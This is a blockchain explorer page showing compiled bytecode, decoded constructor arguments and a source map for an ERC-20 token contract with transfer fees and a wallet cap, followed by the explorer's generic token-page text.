b03821615155b6107925760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610598565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061081f57506012546001600160a01b03838116911614155b801561083457506001600160a01b0382163014155b801561084e57506005546001600160a01b03838116911614155b801561086857506013546001600160a01b03838116911614155b801561088257506000546001600160a01b03848116911614155b1561090e576001600160a01b038216600090815260016020526040902054600f546108ad8383611179565b111561090c5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b6064820152608401610598565b505b6001600160a01b0383161580159061092e57506001600160a01b03821615155b6109725760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610598565b600081116109d05760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610598565b600a5460ff610100820481169116108015906109ed575060105481115b8015610a035750600554600160a01b900460ff16155b8015610a2857506001600160a01b03831660009081526003602052604090205460ff16155b8015610a4157506005546001600160a01b038381169116145b8015610a4f575060175460ff165b15610a7f57600a805460ff19169055306000908152600160205260409020548015610a7d57610a7d81610b7c565b505b6001600160a01b03831660009081526003602052604090205460019060ff1680610ac157506001600160a01b03831660009081526003602052604090205460ff165b80610af357506005546001600160a01b03858116911614801590610af357506005546001600160a01b03848116911614155b15610b0057506000610b3e565b6005546001600160a01b0390811690851603610b2157601554601455610b3e565b6005546001600160a01b0390811690841603610b3e576016546014555b610b4a84848484610bc1565b50505050565b60008184841115610b745760405162461bcd60e51b81526004016105989190610fcb565b505050900390565b6005805460ff60a01b1916600160a01b179055610b9881610c27565b6012544790610bb0906001600160a01b031682610d9a565b50506005805460ff60a01b19169055565b80610bd357610bce610dd5565b610c00565b600a805460ff16906000610be68361118c565b91906101000a81548160ff021916908360ff160217905550505b610c0b848484610e1a565b80610b4a57610b4a600c54601455600d54601555600e54601655565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610c5c57610c5c6111ab565b60200260200101906001600160a01b031690816001600160a01b031681525050600460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ccf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf391906111c1565b81600181518110610d0657610d066111ab565b6001600160a01b039283166020918202929092010152600454610d2c9130911684610732565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac94791610d64918691600091879130914291016111de565b600060405180830381600087803b158015610d7e57600080fd5b505af1158015610d92573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610dd0573d6000803e3d6000fd5b505050565b601454158015610de55750601554155b8015610df15750601654155b15610df857565b60158054600d5560168054600e5560148054600c556000928390559082905555565b600080610e2683610f56565b6001600160a01b038716600090815260036020908152604080832054600f54600190935292205493955091935060ff16911115818015610e635750805b15610e795760009250610e76848661124f565b94505b6001600160a01b038716600090815260016020526040902054610e9c9086610f94565b6001600160a01b038089166000908152600160205260408082209390935590881681522054610ecb9085610fa7565b6001600160a01b038716600090815260016020526040808220929092553081522054610ef79084610fa7565b3060009081526001602090815260409182902092909255518581526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050505050565b6000806000610f7b6064610f7560145487610fb390919063ffffffff16565b90610fbf565b90506000610f898583610f94565b959194509092505050565b6000610fa0828461124f565b9392505050565b6000610fa08284611179565b6000610fa08284611262565b6000610fa08284611279565b600060208083528351808285015260005b81811015610ff857858101830151858201604001528201610fdc565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461102e57600080fd5b50565b6000806040838503121561104457600080fd5b823561104f81611019565b946020939093013593505050565b60008060006060848603121561107257600080fd5b833561107d81611019565b9250602084013561108d81611019565b929592945050506040919091013590565b6000602082840312156110b057600080fd5b8135610fa081611019565b600080604083850312156110ce57600080fd5b82356110d981611019565b915060208301356110e981611019565b809150509250929050565b600181811c9082168061110857607f821691505b60208210810361112857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156104ff576104ff611163565b600060ff821660ff81036111a2576111a2611163565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111d357600080fd5b8151610fa081611019565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561122e5784516001600160a01b031683529383019391830191600101611209565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156104ff576104ff611163565b80820281158282048414176104ff576104ff611163565b60008261129657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203b73e15a363b56323085751bb700e04034aadcdb75a12e2d8e901a3f1ed5e8bf64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000005f703ed3d4964f6f0f71b2aa71fa86490ea71bc4

-----Decoded View---------------
Arg [0] : CGPTWallet (address): 0x5F703ED3d4964F6f0f71B2aA71Fa86490eA71bC4

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000005f703ed3d4964f6f0f71b2aa71fa86490ea71bc4


Deployed Bytecode Sourcemap

4894:8117:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6968:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10511:161;;;;;;;;;;-1:-1:-1;10511:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;10511:161:0;1023:187:1;5850:52:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5850:52:0;1215:177:1;5204:41:0;;;;;;;;;;-1:-1:-1;5204:41:0;;;;-1:-1:-1;;;;;5204:41:0;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;5204:41:0;1397:229:1;7245:100:0;;;;;;;;;;-1:-1:-1;7325:12:0;;7245:100;;5287:28;;;;;;;;;;-1:-1:-1;5287:28:0;;;;-1:-1:-1;;;5287:28:0;;;;;;7478:313;;;;;;;;;;-1:-1:-1;7478:313:0;;;;;:::i;:::-;;:::i;7154:83::-;;;;;;;;;;-1:-1:-1;7220:9:0;;7154:83;;7220:9;;;;2234:36:1;;2222:2;2207:18;7154:83:0;2092:184:1;6148:27:0;;;;;;;;;;;;;;;;5252:28;;;;;;;;;;-1:-1:-1;5252:28:0;;;;-1:-1:-1;;;;;5252:28:0;;;6217:40;;;;;;;;;;-1:-1:-1;6217:40:0;;;;;;;;6182:28;;;;;;;;;;;;;;;;7353:117;;;;;;;;;;-1:-1:-1;7353:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;7446:16:0;7419:7;7446:16;;;:7;:16;;;;;;;7353:117;2583:148;;;;;;;;;;;;;:::i;:::-;;5106:51;;;;;;;;;;-1:-1:-1;5106:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5788:55;;;;;;;;;;;;;;;;2360:87;;;;;;;;;;-1:-1:-1;2406:7:0;2433:6;-1:-1:-1;;;;;2433:6:0;2360:87;;7059;;;;;;;;;;;;;:::i;11569:167::-;;;;;;;;;;-1:-1:-1;11569:167:0;;;;;:::i;:::-;;:::i;8793:178::-;;;;;;;;;;;;;:::i;11744:143::-;;;;;;;;;;-1:-1:-1;11744:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;11852:18:0;;;11825:7;11852:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11744:143;5593:30;;;;;;;;;;;;;;;;2739:244;;;;;;;;;;-1:-1:-1;2739:244:0;;;;;:::i;:::-;;:::i;6968:83::-;7005:13;7038:5;7031:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6968:83;:::o;10511:161::-;10586:4;10603:39;1901:10;10626:7;10635:6;10603:8;:39::i;:::-;-1:-1:-1;10660:4:0;10511:161;;;;;:::o;7478:313::-;7576:4;7593:36;7603:6;7611:9;7622:6;7593:9;:36::i;:::-;7640:121;7649:6;1901:10;7671:89;7709:6;7671:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7671:19:0;;;;;;:11;:19;;;;;;;;1901:10;7671:33;;;;;;;;;;:37;:89::i;:::-;7640:8;:121::i;:::-;-1:-1:-1;7779:4:0;7478:313;;;;;:::o;2583:148::-;2406:7;2433:6;-1:-1:-1;;;;;2433:6:0;1901:10;2495:23;2487:68;;;;-1:-1:-1;;;2487:68:0;;;;;;;:::i;:::-;;;;;;;;;2690:1:::1;2674:6:::0;;2653:40:::1;::::0;-1:-1:-1;;;;;2674:6:0;;::::1;::::0;2653:40:::1;::::0;2690:1;;2653:40:::1;2721:1;2704:19:::0;;-1:-1:-1;;;;;;2704:19:0::1;::::0;;2583:148::o;7059:87::-;7098:13;7131:7;7124:14;;;;;:::i;11569:167::-;11647:4;11664:42;1901:10;11688:9;11699:6;11664:9;:42::i;8793:178::-;2406:7;2433:6;-1:-1:-1;;;;;2433:6:0;1901:10;2495:23;2487:68;;;;-1:-1:-1;;;2487:68:0;;;;;;;:::i;:::-;-1:-1:-1;;8851:15:0::1;:29:::0;8913:3:::1;8901:9;:15:::0;8937:1:::1;8927:7;:11:::0;;;8950:8:::1;:12:::0;8793:178::o;2739:244::-;2406:7;2433:6;-1:-1:-1;;;;;2433:6:0;1901:10;2495:23;2487:68;;;;-1:-1:-1;;;2487:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2828:22:0;::::1;2820:73;;;::::0;-1:-1:-1;;;2820:73:0;;4082:2:1;2820:73:0::1;::::0;::::1;4064:21:1::0;4121:2;4101:18;;;4094:30;4160:34;4140:18;;;4133:62;-1:-1:-1;;;4211:18:1;;;4204:36;4257:19;;2820:73:0::1;3880:402:1::0;2820:73:0::1;2930:6;::::0;;2909:38:::1;::::0;-1:-1:-1;;;;;2909:38:0;;::::1;::::0;2930:6;::::1;::::0;2909:38:::1;::::0;::::1;2958:6;:17:::0;;-1:-1:-1;;;;;;2958:17:0::1;-1:-1:-1::0;;;;;2958:17:0;;;::::1;::::0;;;::::1;::::0;;2739:244::o;12746:262::-;-1:-1:-1;;;;;12839:19:0;;;;;;:44;;-1:-1:-1;;;;;;12862:21:0;;;;12839:44;12831:74;;;;-1:-1:-1;;;12831:74:0;;4489:2:1;12831:74:0;;;4471:21:1;4528:2;4508:18;;;4501:30;-1:-1:-1;;;4547:18:1;;;4540:47;4604:18;;12831:74:0;4287:341:1;12831:74:0;-1:-1:-1;;;;;12916:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;12968:32;;1361:25:1;;;12968:32:0;;1334:18:1;12968:32:0;;;;;;;12746:262;;;:::o;8979:1520::-;2406:7;2433:6;-1:-1:-1;;;;;9097:13:0;;;2433:6;;9097:13;;;;:47;;-1:-1:-1;9133:11:0;;-1:-1:-1;;;;;9127:17:0;;;9133:11;;9127:17;;9097:47;:83;;;;-1:-1:-1;;;;;;9161:19:0;;9175:4;9161:19;;9097:83;:119;;;;-1:-1:-1;9203:13:0;;-1:-1:-1;;;;;9197:19:0;;;9203:13;;9197:19;;9097:119;:146;;;;-1:-1:-1;9239:4:0;;-1:-1:-1;;;;;9233:10:0;;;9239:4;;9233:10;;9097:146;:178;;;;-1:-1:-1;2406:7:0;2433:6;-1:-1:-1;;;;;9260:15:0;;;2433:6;;9260:15;;9097:178;9093:359;;;-1:-1:-1;;;;;7446:16:0;;9292:18;7446:16;;;:7;:16;;;;;;9374:15;;9350:19;9363:6;7446:16;9350:19;:::i;:::-;9349:40;;9341:92;;;;-1:-1:-1;;;9341:92:0;;5097:2:1;9341:92:0;;;5079:21:1;5136:2;5116:18;;;5109:30;5175:34;5155:18;;;5148:62;-1:-1:-1;;;5226:18:1;;;5219:38;5274:19;;9341:92:0;4895:404:1;9341:92:0;9277:175;9093:359;-1:-1:-1;;;;;9472:18:0;;;;;;:38;;-1:-1:-1;;;;;;9494:16:0;;;;9472:38;9464:72;;;;-1:-1:-1;;;9464:72:0;;5506:2:1;9464:72:0;;;5488:21:1;5545:2;5525:18;;;5518:30;-1:-1:-1;;;5564:18:1;;;5557:51;5625:18;;9464:72:0;5304:345:1;9464:72:0;9564:1;9555:6;:10;9547:60;;;;-1:-1:-1;;;9547:60:0;;5856:2:1;9547:60:0;;;5838:21:1;5895:2;5875:18;;;5868:30;5934:34;5914:18;;;5907:62;-1:-1:-1;;;5985:18:1;;;5978:35;6030:19;;9547:60:0;5654:401:1;9547:60:0;9652:15;;;;;;;;9637:11;;:30;;;;:71;;;9694:14;;9685:6;:23;9637:71;:105;;;;-1:-1:-1;9726:16:0;;-1:-1:-1;;;9726:16:0;;;;9725:17;9637:105;:147;;;;-1:-1:-1;;;;;;9760:24:0;;;;;;:18;:24;;;;;;;;9759:25;9637:147;:183;;;;-1:-1:-1;9807:13:0;;-1:-1:-1;;;;;9801:19:0;;;9807:13;;9801:19;9637:183;:221;;;;-1:-1:-1;9837:21:0;;;;9637:221;9620:467;;;9901:11;:15;;-1:-1:-1;;9901:15:0;;;9980:4;-1:-1:-1;7446:16:0;;;-1:-1:-1;7446:16:0;;;;;;10004:24;;10001:75;;10031:42;10052:20;10031;:42::i;:::-;9884:203;9620:467;-1:-1:-1;;;;;10143:24:0;;10099:12;10143:24;;;:18;:24;;;;;;10114:4;;10143:24;;;:50;;-1:-1:-1;;;;;;10171:22:0;;;;;;:18;:22;;;;;;;;10143:50;:100;;;-1:-1:-1;10206:13:0;;-1:-1:-1;;;;;10198:21:0;;;10206:13;;10198:21;;;;:44;;-1:-1:-1;10229:13:0;;-1:-1:-1;;;;;10223:19:0;;;10229:13;;10223:19;;10198:44;10140:301;;;-1:-1:-1;10269:5:0;10140:301;;;10304:13;;-1:-1:-1;;;;;10304:13:0;;;10296:21;;;;10292:149;;10345:7;;10333:9;:19;10292:149;;;10380:13;;-1:-1:-1;;;;;10380:13:0;;;10374:19;;;;10370:71;;10421:8;;10409:9;:20;10370:71;10453:38;10468:4;10473:2;10476:6;10483:7;10453:14;:38::i;:::-;9082:1417;8979:1520;;;:::o;681:206::-;767:7;828:12;820:6;;;;812:29;;;;-1:-1:-1;;;812:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;863:5:0;;;681:206::o;12019:241::-;6298:16;:23;;-1:-1:-1;;;;6298:23:0;-1:-1:-1;;;6298:23:0;;;12110:36:::1;12125:20:::0;12110:14:::1;:36::i;:::-;12228:11;::::0;12179:21:::1;::::0;12211:41:::1;::::0;-1:-1:-1;;;;;12228:11:0::1;12179:21:::0;12211:16:::1;:41::i;:::-;-1:-1:-1::0;;6344:16:0;:24;;-1:-1:-1;;;;6344:24:0;;;12019:241::o;8382:366::-;8507:7;8503:115;;8530:18;:16;:18::i;:::-;8503:115;;;8589:11;:13;;;;;:11;:13;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;8503:115;8628:46;8648:6;8656:9;8667:6;8628:19;:46::i;:::-;8699:7;8695:45;;8721:19;11456:17;;11444:9;:29;11494:15;;11484:7;:25;11532:16;;11521:8;:27;11396:161;12268:470;12356:16;;;12370:1;12356:16;;;;;;;;12332:21;;12356:16;;;;;;;;;;-1:-1:-1;12356:16:0;12332:40;;12401:4;12383;12388:1;12383:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;12383:23:0;;;-1:-1:-1;;;;;12383:23:0;;;;;12427:15;;;;;;;;;-1:-1:-1;;;;;12427:15:0;-1:-1:-1;;;;;12427:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12417:4;12422:1;12417:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12417:32:0;;;:7;;;;;;;;;:32;12492:15;;12460:62;;12477:4;;12492:15;12510:11;12460:8;:62::i;:::-;12533:15;;;:197;;-1:-1:-1;;;12533:197:0;;-1:-1:-1;;;;;12533:15:0;;;;:66;;:197;;12614:11;;12533:15;;12657:4;;12684;;12704:15;;12533:197;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12321:417;12268:470;:::o;11895:116::-;11980:23;;-1:-1:-1;;;;;11980:15:0;;;:23;;;;;11996:6;;11980:23;;;;11996:6;11980:15;:23;;;;;;;;;;;;;;;;;;;;;11895:116;;:::o;7803:300::-;7853:9;;:14;:30;;;;-1:-1:-1;7871:7:0;;:12;7853:30;:47;;;;-1:-1:-1;7887:8:0;;:13;7853:47;7850:59;;;7803:300::o;7850:59::-;7939:7;;;7921:15;:25;7977:8;;;7958:16;:27;8017:9;;;7997:17;:29;-1:-1:-1;8037:11:0;;;;8059:12;;;;8082:13;7803:300::o;10680:704::-;10791:23;10816:18;10838:23;10853:7;10838:14;:23::i;:::-;-1:-1:-1;;;;;10896:26:0;;10872:21;10896:26;;;:18;:26;;;;;;;;;10971:15;;10896:26;10952:15;;;;;;10790:71;;-1:-1:-1;10790:71:0;;-1:-1:-1;10896:26:0;;;10952:34;;10896:26;11000:31;;;;;11020:11;11000:31;10997:118;;;11061:1;;-1:-1:-1;11077:26:0;11088:15;11077:26;;:::i;:::-;;;10997:118;-1:-1:-1;;;;;11143:15:0;;;;;;:7;:15;;;;;;:28;;11163:7;11143:19;:28::i;:::-;-1:-1:-1;;;;;11125:15:0;;;;;;;:7;:15;;;;;;:46;;;;11203:18;;;;;;;:39;;11226:15;11203:22;:39::i;:::-;-1:-1:-1;;;;;11182:18:0;;;;;;:7;:18;;;;;;:60;;;;11294:4;11278:22;;;;:38;;11305:10;11278:26;:38::i;:::-;11269:4;11253:22;;;;:7;:22;;;;;;;;;:63;;;;11332:44;1361:25:1;;;-1:-1:-1;;;;;11332:44:0;;;;;;;;;;1334:18:1;11332:44:0;;;;;;;10769:615;;;;10680:704;;;:::o;8115:259::-;8178:7;8187;8207:18;8228:31;8255:3;8228:22;8240:9;;8228:7;:11;;:22;;;;:::i;:::-;:26;;:31::i;:::-;8207:52;-1:-1:-1;8270:23:0;8296;:7;8207:52;8296:11;:23::i;:::-;8270:49;8355:10;;-1:-1:-1;8115:259:0;;-1:-1:-1;;;8115:259:0:o;359:98::-;417:7;444:5;448:1;444;:5;:::i;:::-;437:12;359:98;-1:-1:-1;;;359:98:0:o;253:::-;311:7;338:5;342:1;338;:5;:::i;465:98::-;523:7;550:5;554:1;550;:5;:::i;575:98::-;633:7;660:5;664:1;660;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:380::-;3213:1;3209:12;;;;3256;;;3277:61;;3331:4;3323:6;3319:17;3309:27;;3277:61;3384:2;3376:6;3373:14;3353:18;3350:38;3347:161;;3430:10;3425:3;3421:20;3418:1;3411:31;3465:4;3462:1;3455:15;3493:4;3490:1;3483:15;3347:161;;3134:380;;;:::o;3519:356::-;3721:2;3703:21;;;3740:18;;;3733:30;3799:34;3794:2;3779:18;;3772:62;3866:2;3851:18;;3519:356::o;4633:127::-;4694:10;4689:3;4685:20;4682:1;4675:31;4725:4;4722:1;4715:15;4749:4;4746:1;4739:15;4765:125;4830:9;;;4851:10;;;4848:36;;;4864:18;;:::i;6060:175::-;6097:3;6141:4;6134:5;6130:16;6170:4;6161:7;6158:17;6155:43;;6178:18;;:::i;:::-;6227:1;6214:15;;6060:175;-1:-1:-1;;6060:175:1:o;6372:127::-;6433:10;6428:3;6424:20;6421:1;6414:31;6464:4;6461:1;6454:15;6488:4;6485:1;6478:15;6504:251;6574:6;6627:2;6615:9;6606:7;6602:23;6598:32;6595:52;;;6643:1;6640;6633:12;6595:52;6675:9;6669:16;6694:31;6719:5;6694:31;:::i;6760:980::-;7022:4;7070:3;7059:9;7055:19;7101:6;7090:9;7083:25;7127:2;7165:6;7160:2;7149:9;7145:18;7138:34;7208:3;7203:2;7192:9;7188:18;7181:31;7232:6;7267;7261:13;7298:6;7290;7283:22;7336:3;7325:9;7321:19;7314:26;;7375:2;7367:6;7363:15;7349:29;;7396:1;7406:195;7420:6;7417:1;7414:13;7406:195;;;7485:13;;-1:-1:-1;;;;;7481:39:1;7469:52;;7576:15;;;;7541:12;;;;7517:1;7435:9;7406:195;;;-1:-1:-1;;;;;;;7657:32:1;;;;7652:2;7637:18;;7630:60;-1:-1:-1;;;7721:3:1;7706:19;7699:35;7618:3;6760:980;-1:-1:-1;;;6760:980:1:o;7745:128::-;7812:9;;;7833:11;;;7830:37;;;7847:18;;:::i;7878:168::-;7951:9;;;7982;;7999:15;;;7993:22;;7979:37;7969:71;;8020:18;;:::i;8051:217::-;8091:1;8117;8107:132;;8161:10;8156:3;8152:20;8149:1;8142:31;8196:4;8193:1;8186:15;8224:4;8221:1;8214:15;8107:132;-1:-1:-1;8253:9:1;;8051:217::o

Swarm Source

ipfs://3b73e15a363b56323085751bb700e04034aadcdb75a12e2d8e901a3f1ed5e8bf
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.